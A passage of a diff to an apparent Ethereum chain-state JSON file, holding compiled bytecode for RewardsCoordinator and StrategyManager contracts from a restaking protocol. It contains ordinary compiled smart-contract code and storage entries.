a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2612a3682611b91565b5050565b60cb546040805161ffff600160e01b9093048316815291831660208301527f8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06910160405180910390a160cb805461ffff909216600160e01b0261ffff60e01b19909216919091179055565b6000612afa826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612e3c9092919063ffffffff16565b8051909150156124535780806020019051810190612b189190613496565b6124535760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161089e565b612b826020836138bb565b6001901b8463ffffffff1610612c0c5760405162461bcd60e51b815260206004820152604360248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e65724c656166496e6064820152620c8caf60eb1b608482015260a40161089e565b6000612c17826109f2565b9050612c6284848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152604660248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e657220636c61696d60648201526510383937b7b360d11b608482015260a40161089e565b505050505050565b612cf66020836138bb565b6001901b8463ffffffff1610612d745760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e4c656166496e64657800000000606482015260840161089e565b6000612d7f82611858565b9050612dca84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152603f60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e20636c61696d2070726f6f6600606482015260840161089e565b6060612e4b8484600085612e6b565b949350505050565b600083612e61868585612f9c565b1495945050505050565b606082471015612ecc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161089e565b6001600160a01b0385163b612f235760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161089e565b600080866001600160a01b03168587604051612f3f91906138f3565b60006040518083038185875af1925050503d8060008114612f7c576040519150601f19603f3d011682016040523d82523d6000602084013e612f81565b606091505b5091509150612f918282866130a2565b979650505050505050565b600060208451612fac9190613905565b156130335760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a40161089e565b8260205b855181116130995761304a600285613905565b60000361306e57816000528086015160205260406000209150600284049350613087565b8086015160005281602052604060002091506002840493505b61309260208261370a565b9050613037565b50949350505050565b606083156130b157508161171d565b8251156130c15782518084602001fd5b8160405162461bcd60e51b815260040161089e9190613919565b6001600160a01b03811681146108b057600080fd5b60006020828403121561310257600080fd5b813561171d816130db565b80151581146108b057600080fd5b6000806040838503121561312e57600080fd5b8235613139816130db565b915060208301356131498161310d565b809150509250929050565b60006020828403121561316657600080fd5b5035919050565b60006040828403121561317f57600080fd5b50919050565b60006040828403121561319757600080fd5b61171d838361316d565b600080604083850312156131b457600080fd5b82356131bf816130db565b91506020830135613149816130db565b600080602083850312156131e257600080fd5b823567ffffffffffffffff8111156131f957600080fd5b8301601f8101851361320a57600080fd5b803567ffffffffffffffff81111561322157600080fd5b8560208260051b840101111561323657600080fd5b6020919091019590945092505050565b6000610100828403121561317f57600080fd5b6000806040838503121561326c57600080fd5b823567ffffffffffffffff81111561328357600080fd5b61328f85828601613246565b9250506020830135613149816130db565b803563ffffffff811681146132b457600080fd5b919050565b600080604083850312156132cc57600080fd5b823591506132dc602084016132a0565b90509250929050565b6000602082840312156132f757600080fd5b61171d826132a0565b60006020828403121561331257600080fd5b813560ff8116811461171d57600080fd5b60006020828403121561333557600080fd5b813567ffffffffffffffff81111561334c57600080fd5b612e4b84828501613246565b6000806040838503121561336b57600080fd5b8235613376816130db565b946020939093013593505050565b80356132b4816130db565b803561ffff811681146132b457600080fd5b60008060008060008060c087890312156133ba57600080fd5b86356133c5816130db565b955060208701356133d5816130db565b94506040870135935060608701356133ec816130db565b92506133fa608088016132a0565b915061340860a0880161338f565b90509295509295509295565b60006020828403121561342657600080fd5b61171d8261338f565b60006020828403121561344157600080fd5b815161171d816130db565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156134a857600080fd5b815161171d8161310d565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60008235609e1983360301811261359557600080fd5b9190910192915050565b81835260208301925060008160005b848110156136055781356135c1816130db565b6001600160a01b0316865260208201356bffffffffffffffffffffffff81168082146135ec57600080fd5b60208801525060409586019591909101906001016135ae565b5093949350505050565b60008135601e1983360301811261362557600080fd5b820160208101903567ffffffffffffffff81111561364257600080fd5b8060061b360382131561365457600080fd5b60a0855261366660a08601828461359f565b91505061367560208401613384565b6001600160a01b0316602085015260408381013590850152613699606084016132a0565b63ffffffff1660608501526136b0608084016132a0565b63ffffffff81166080860152509392505050565b60018060a01b03841681528260208201526060604082015260006136eb606083018461360f565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a7757610a776136f4565b60208152600061171d602083018461360f565b6000808335601e1984360301811261374757600080fd5b83018035915067ffffffffffffffff82111561376257600080fd5b6020019150600581901b360382131561377a57600080fd5b9250929050565b6000808335601e1984360301811261379857600080fd5b83018035915067ffffffffffffffff8211156137b357600080fd5b6020019150600681901b360382131561377a57600080fd5b81810381811115610a7757610a776136f4565b63ffffffff8181168382160190811115610a7757610a776136f4565b63ffffffff8281168282160390811115610a7757610a776136f4565b600063ffffffff82168061382c5761382c6136f4565b6000190192915050565b634e487b7160e01b600052601260045260246000fd5b600063ffffffff83168061386257613862613836565b8063ffffffff84160691505092915050565b6000808335601e1984360301811261388b57600080fd5b83018035915067ffffffffffffffff8211156138a657600080fd5b60200191503681900382131561377a57600080fd5b6000826138ca576138ca613836565b500490565b60005b838110156138ea5781810151838201526020016138d2565b50506000910152565b600082516135958184602087016138cf565b60008261391457613914613836565b500690565b60208152600082518060208401526139388160408501602087016138cf565b601f01601f1916919091016040019291505056fe52657761726473436f6f7264696e61746f722e5f76616c696461746552657761a2646970667358221220a36edf2d3dce7bfba092e6a7f8c98bee38b143e8f924a4f463353379f1a9adae64736f6c634300081b0033", "storage": { "0x0000000000000000000000000000000000000000000000000000000000000000": "0x00000000000000000000000000000000000000000000000000000000000000ff" } @@ -38,7 +38,7 @@ "0x0dcd1bf9a1b36ce34237eeafef220932846bcd82": { "nonce": 1, "balance": "0x0", - "code": "0x608060405234801561001057600080fd5b50600436106102065760003560e01c80638da5cb5b1161011a578063c6656702116100ad578063df5cf7231161007c578063df5cf72314610515578063e7a050aa1461053c578063f2fde38b1461054f578063f698da2514610562578063fabc1cbc1461056a57600080fd5b8063c6656702146104c9578063cbc2bd62146104dc578063cf756fdf146104ef578063df5b35471461050257600080fd5b8063b1344271116100e9578063b134427114610469578063b5d8b5b814610490578063c4623ea1146104a3578063c608c7f3146104b657600080fd5b80638da5cb5b1461040157806394f649dd14610412578063967fc0d2146104335780639b4da03d1461044657600080fd5b80635ac86ab71161019d5780637a7e0d921161016c5780637a7e0d92146103675780637ecebe0014610392578063886f1195146103b25780638b8aac3c146103c55780638c80d4e5146103ee57600080fd5b80635ac86ab7146103015780635c975abb14610334578063663c1de41461033c578063715018a61461035f57600080fd5b80634665bcda116101d95780634665bcda1461028057806348825e94146102bf5780634e5a4263146102e6578063595c6a67146102f957600080fd5b806310d67a2f1461020b578063136439dd1461022057806320606b701461023357806332e89ace1461026d575b600080fd5b61021e6102193660046129e8565b61057d565b005b61021e61022e366004612a05565b610639565b61025a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b61025a61027b366004612a34565b610778565b6102a77f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b6040516001600160a01b039091168152602001610264565b61025a7f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922481565b61021e6102f4366004612b45565b610a64565b61021e610a9c565b61032461030f366004612b7e565b609854600160ff9092169190911b9081161490565b6040519015158152602001610264565b60985461025a565b61032461034a3660046129e8565b60d16020526000908152604090205460ff1681565b61021e610b63565b61025a610375366004612ba1565b60cd60209081526000928352604080842090915290825290205481565b61025a6103a03660046129e8565b60ca6020526000908152604090205481565b6097546102a7906001600160a01b031681565b61025a6103d33660046129e8565b6001600160a01b0316600090815260ce602052604090205490565b61021e6103fc366004612bcf565b610b77565b6033546001600160a01b03166102a7565b6104256104203660046129e8565b610bd0565b604051610264929190612c10565b60cb546102a7906001600160a01b031681565b6103246104543660046129e8565b60d36020526000908152604090205460ff1681565b6102a77f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b61021e61049e366004612ce0565b610d50565b61021e6104b1366004612d22565b610ec4565b61021e6104c4366004612d73565b610f18565b61021e6104d73660046129e8565b610fd0565b6102a76104ea366004612dc6565b610fe1565b61021e6104fd366004612d22565b611019565b61021e610510366004612df2565b61114d565b6102a77f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61025a61054a366004612bcf565b611376565b61021e61055d3660046129e8565b61143d565b61025a6114b3565b61021e610578366004612a05565b6114f0565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190612e63565b6001600160a01b0316336001600160a01b03161461062d5760405162461bcd60e51b815260040161062490612e80565b60405180910390fd5b6106368161164c565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190612eca565b6106c15760405162461bcd60e51b815260040161062490612ee7565b6098548181161461073a5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60985460009081906001908116036107ce5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b6002606554036108205760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b60026065556001600160a01b038816600090815260d3602052604090205460ff16156108c75760405162461bcd60e51b815260206004820152604a60248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207468697264207472616e736665726064820152691cc8191a5cd8589b195960b21b608482015260a401610624565b428410156109495760405162461bcd60e51b815260206004820152604360248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207369676e617475726520657870696064820152621c995960ea1b608482015260a401610624565b6001600160a01b03858116600081815260ca602090815260408083205481517f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922493810193909352908201939093528b84166060820152928a16608084015260a0830189905260c0830182905260e0830187905290916101000160408051601f1981840301815291815281516020928301206001600160a01b038a16600090815260ca9093529082206001850190559150610a016114b3565b60405161190160f01b6020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050610a44888288611743565b610a50888c8c8c611902565b60016065559b9a5050505050505050505050565b60cb546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161062490612f2f565b610a988282611ad1565b5050565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b089190612eca565b610b245760405162461bcd60e51b815260040161062490612ee7565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610b6b611b3f565b610b756000611b99565b565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610bbf5760405162461bcd60e51b815260040161062490612f99565b610bca838383611beb565b50505050565b6001600160a01b038116600090815260ce60205260408120546060918291908167ffffffffffffffff811115610c0857610c08612a1e565b604051908082528060200260200182016040528015610c31578160200160208202803683370190505b50905060005b82811015610cc2576001600160a01b038616600090815260cd6020908152604080832060ce9092528220805491929184908110610c7657610c76612ff7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610caf57610caf612ff7565b6020908102919091010152600101610c37565b5060ce6000866001600160a01b03166001600160a01b031681526020019081526020016000208181805480602002602001604051908101604052809291908181526020018280548015610d3e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d20575b50505050509150935093505050915091565b60cb546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161062490612f2f565b8060005b81811015610bca5760d16000858584818110610d9c57610d9c612ff7565b9050602002016020810190610db191906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1615610ebc57600060d16000868685818110610deb57610deb612ff7565b9050602002016020810190610e0091906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f4074413b4b443e4e58019f2855a8765113358c7c72e39509c6af45fc0f5ba030848483818110610e5b57610e5b612ff7565b9050602002016020810190610e7091906129e8565b6040516001600160a01b03909116815260200160405180910390a1610ebc848483818110610ea057610ea0612ff7565b9050602002016020810190610eb591906129e8565b6000611ad1565b600101610d7e565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610f0c5760405162461bcd60e51b815260040161062490612f99565b610bca84848484611d4c565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610f605760405162461bcd60e51b815260040161062490612f99565b604051636ce5768960e11b81526001600160a01b03858116600483015282811660248301526044820184905284169063d9caed1290606401600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050505050505050565b610fd8611b3f565b61063681611fe0565b60ce6020528160005260406000208181548110610ffd57600080fd5b6000918252602090912001546001600160a01b03169150829050565b600054610100900460ff16158080156110395750600054600160ff909116105b806110535750303b158015611053575060005460ff166001145b6110b65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610624565b6000805460ff1916600117905580156110d9576000805461ff0019166101001790555b6110e1612049565b60c9556110ee83836120e0565b6110f785611b99565b61110084611fe0565b8015611146576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60cb546001600160a01b031633146111775760405162461bcd60e51b815260040161062490612f2f565b8281146112005760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794d616e616765722e61646453747261746567696573546f4460448201527f65706f73697457686974656c6973743a206172726179206c656e67746873206460648201526a0de40dcdee840dac2e8c6d60ab1b608482015260a401610624565b8260005b8181101561136e5760d1600087878481811061122257611222612ff7565b905060200201602081019061123791906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1661136657600160d1600088888581811061127057611270612ff7565b905060200201602081019061128591906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe8686838181106112e0576112e0612ff7565b90506020020160208101906112f591906129e8565b6040516001600160a01b03909116815260200160405180910390a161136686868381811061132557611325612ff7565b905060200201602081019061133a91906129e8565b85858481811061134c5761134c612ff7565b9050602002016020810190611361919061300d565b611ad1565b600101611204565b505050505050565b60985460009081906001908116036113cc5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b60026065540361141e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b600260655561142f33868686611902565b600160655595945050505050565b611445611b3f565b6001600160a01b0381166114aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b61063681611b99565b60007f0000000000000000000000000000000000000000000000000000000000007a6946036114e3575060c95490565b6114eb612049565b905090565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611543573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115679190612e63565b6001600160a01b0316336001600160a01b0316146115975760405162461bcd60e51b815260040161062490612e80565b6098541981196098541916146116155760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161076d565b6001600160a01b0381166116da5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610624565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383163b1561186257604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90611783908690869060040161307a565b602060405180830381865afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c49190613093565b6001600160e01b0319161461185d5760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610624565b505050565b826001600160a01b031661187683836121c6565b6001600160a01b03161461185d5760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610624565b6001600160a01b038316600090815260d16020526040812054849060ff166119a85760405162461bcd60e51b815260206004820152604d60248201527f53747261746567794d616e616765722e6f6e6c7953747261746567696573576860448201527f6974656c6973746564466f724465706f7369743a207374726174656779206e6f60648201526c1d081dda1a5d195b1a5cdd1959609a1b608482015260a401610624565b6119bd6001600160a01b0385163387866121ec565b6040516311f9fbc960e21b81526001600160a01b038581166004830152602482018590528616906347e7ef24906044016020604051808303816000875af1158015611a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3091906130bd565b9150611a3e86858785611d4c565b604051631452b9d760e11b81526001600160a01b0387811660048301528681166024830152604482018490527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916906328a573ae90606401600060405180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b5050505050949350505050565b604080516001600160a01b038416815282151560208201527f77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786910160405180910390a16001600160a01b0391909116600090815260d360205260409020805460ff1916911515919091179055565b6033546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610624565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081600003611c635760405162461bcd60e51b815260206004820152603e60248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a207360448201527f68617265416d6f756e742073686f756c64206e6f74206265207a65726f2100006064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209387168352929052205480831115611cf55760405162461bcd60e51b815260206004820152603360248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a20736044820152720d0c2e4ca82dadeeadce840e8dede40d0d2ced606b1b6064820152608401610624565b6001600160a01b03808616600090815260cd6020908152604080832093881683529290529081209184900391829055819003611d3f57611d358585612246565b6001915050611d45565b60009150505b9392505050565b6001600160a01b038416611dc85760405162461bcd60e51b815260206004820152603960248201527f53747261746567794d616e616765722e5f6164645368617265733a207374616b60448201527f65722063616e6e6f74206265207a65726f2061646472657373000000000000006064820152608401610624565b80600003611e375760405162461bcd60e51b815260206004820152603660248201527f53747261746567794d616e616765722e5f6164645368617265733a207368617260448201527565732073686f756c64206e6f74206265207a65726f2160501b6064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209386168352929052908120549003611f4c576001600160a01b038416600090815260ce602090815260409091205410611f0d5760405162461bcd60e51b815260206004820152605060248201527f53747261746567794d616e616765722e5f6164645368617265733a206465706f60448201527f73697420776f756c6420657863656564204d41585f5354414b45525f5354524160648201526f0a88a8eb2be9892a6a8be988a9c8ea8960831b608482015260a401610624565b6001600160a01b03848116600090815260ce602090815260408220805460018101825590835291200180546001600160a01b0319169184169190911790555b6001600160a01b03808516600090815260cd6020908152604080832093861683529290529081208054839290611f839084906130ec565b9091555050604080516001600160a01b03868116825285811660208301528416818301526060810183905290517f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a969181900360800190a150505050565b60cb54604080516001600160a01b03928316815291831660208301527f4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29910160405180910390a160cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6097546001600160a01b031615801561210157506001600160a01b03821615155b6121835760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610a988261164c565b60008060006121d58585612436565b915091506121e2816124a4565b5090505b92915050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bca90859061265a565b6001600160a01b038216600090815260ce6020526040812054905b81811015612360576001600160a01b03848116600090815260ce602052604090208054918516918390811061229857612298612ff7565b6000918252602090912001546001600160a01b031603612358576001600160a01b038416600090815260ce6020526040902080546122d8906001906130ff565b815481106122e8576122e8612ff7565b60009182526020808320909101546001600160a01b03878116845260ce909252604090922080549190921691908390811061232557612325612ff7565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612360565b600101612261565b8181036123e75760405162461bcd60e51b815260206004820152604960248201527f53747261746567794d616e616765722e5f72656d6f766553747261746567794660448201527f726f6d5374616b657253747261746567794c6973743a207374726174656779206064820152681b9bdd08199bdd5b9960ba1b608482015260a401610624565b6001600160a01b038416600090815260ce6020526040902080548061240e5761240e613112565b600082815260209020810160001990810180546001600160a01b031916905501905550505050565b600080825160410361246c5760208301516040840151606085015160001a6124608782858561272c565b9450945050505061249d565b8251604003612495576020830151604084015161248a868383612819565b93509350505061249d565b506000905060025b9250929050565b60008160048111156124b8576124b8613128565b036124c05750565b60018160048111156124d4576124d4613128565b036125215760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610624565b600281600481111561253557612535613128565b036125825760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610624565b600381600481111561259657612596613128565b036125ee5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610624565b600481600481111561260257612602613128565b036106365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610624565b60006126af826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128529092919063ffffffff16565b80519091501561185d57808060200190518101906126cd9190612eca565b61185d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610624565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156127635750600090506003612810565b8460ff16601b1415801561277b57508460ff16601c14155b1561278c5750600090506004612810565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156127e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661280957600060019250925050612810565b9150600090505b94509492505050565b6000806001600160ff1b0383168161283660ff86901c601b6130ec565b90506128448782888561272c565b935093505050935093915050565b60606128618484600085612869565b949350505050565b6060824710156128ca5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610624565b6001600160a01b0385163b6129215760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610624565b600080866001600160a01b0316858760405161293d919061313e565b60006040518083038185875af1925050503d806000811461297a576040519150601f19603f3d011682016040523d82523d6000602084013e61297f565b606091505b509150915061298f82828661299a565b979650505050505050565b606083156129a9575081611d45565b8251156129b95782518084602001fd5b8160405162461bcd60e51b8152600401610624919061315a565b6001600160a01b038116811461063657600080fd5b6000602082840312156129fa57600080fd5b8135611d45816129d3565b600060208284031215612a1757600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60008060008060008060c08789031215612a4d57600080fd5b8635612a58816129d3565b95506020870135612a68816129d3565b9450604087013593506060870135612a7f816129d3565b92506080870135915060a087013567ffffffffffffffff811115612aa257600080fd5b8701601f81018913612ab357600080fd5b803567ffffffffffffffff811115612acd57612acd612a1e565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715612afc57612afc612a1e565b6040528181528282016020018b1015612b1457600080fd5b816020840160208301376000602083830101528093505050509295509295509295565b801515811461063657600080fd5b60008060408385031215612b5857600080fd5b8235612b63816129d3565b91506020830135612b7381612b37565b809150509250929050565b600060208284031215612b9057600080fd5b813560ff81168114611d4557600080fd5b60008060408385031215612bb457600080fd5b8235612bbf816129d3565b91506020830135612b73816129d3565b600080600060608486031215612be457600080fd5b8335612bef816129d3565b92506020840135612bff816129d3565b929592945050506040919091013590565b6040808252835190820181905260009060208501906060840190835b81811015612c535783516001600160a01b0316835260209384019390920191600101612c2c565b50508381036020808601919091528551808352918101925085019060005b81811015612c8f578251845260209384019390920191600101612c71565b50919695505050505050565b60008083601f840112612cad57600080fd5b50813567ffffffffffffffff811115612cc557600080fd5b6020830191508360208260051b850101111561249d57600080fd5b60008060208385031215612cf357600080fd5b823567ffffffffffffffff811115612d0a57600080fd5b612d1685828601612c9b565b90969095509350505050565b60008060008060808587031215612d3857600080fd5b8435612d43816129d3565b93506020850135612d53816129d3565b92506040850135612d63816129d3565b9396929550929360600135925050565b60008060008060808587031215612d8957600080fd5b8435612d94816129d3565b93506020850135612da4816129d3565b9250604085013591506060850135612dbb816129d3565b939692955090935050565b60008060408385031215612dd957600080fd5b8235612de4816129d3565b946020939093013593505050565b60008060008060408587031215612e0857600080fd5b843567ffffffffffffffff811115612e1f57600080fd5b612e2b87828801612c9b565b909550935050602085013567ffffffffffffffff811115612e4b57600080fd5b612e5787828801612c9b565b95989497509550505050565b600060208284031215612e7557600080fd5b8151611d45816129d3565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215612edc57600080fd5b8151611d4581612b37565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526044908201527f53747261746567794d616e616765722e6f6e6c7953747261746567795768697460408201527f656c69737465723a206e6f742074686520737472617465677957686974656c6960608201526339ba32b960e11b608082015260a00190565b602080825260409082018190527f53747261746567794d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301f57600080fd5b8135611d4581612b37565b60005b8381101561304557818101518382015260200161302d565b50506000910152565b6000815180845261306681602086016020860161302a565b601f01601f19169290920160200192915050565b828152604060208201526000612861604083018461304e565b6000602082840312156130a557600080fd5b81516001600160e01b031981168114611d4557600080fd5b6000602082840312156130cf57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156121e6576121e66130d6565b818103818111156121e6576121e66130d6565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6000825161315081846020870161302a565b9190910192915050565b602081526000611d45602083018461304e56fea2646970667358221220ac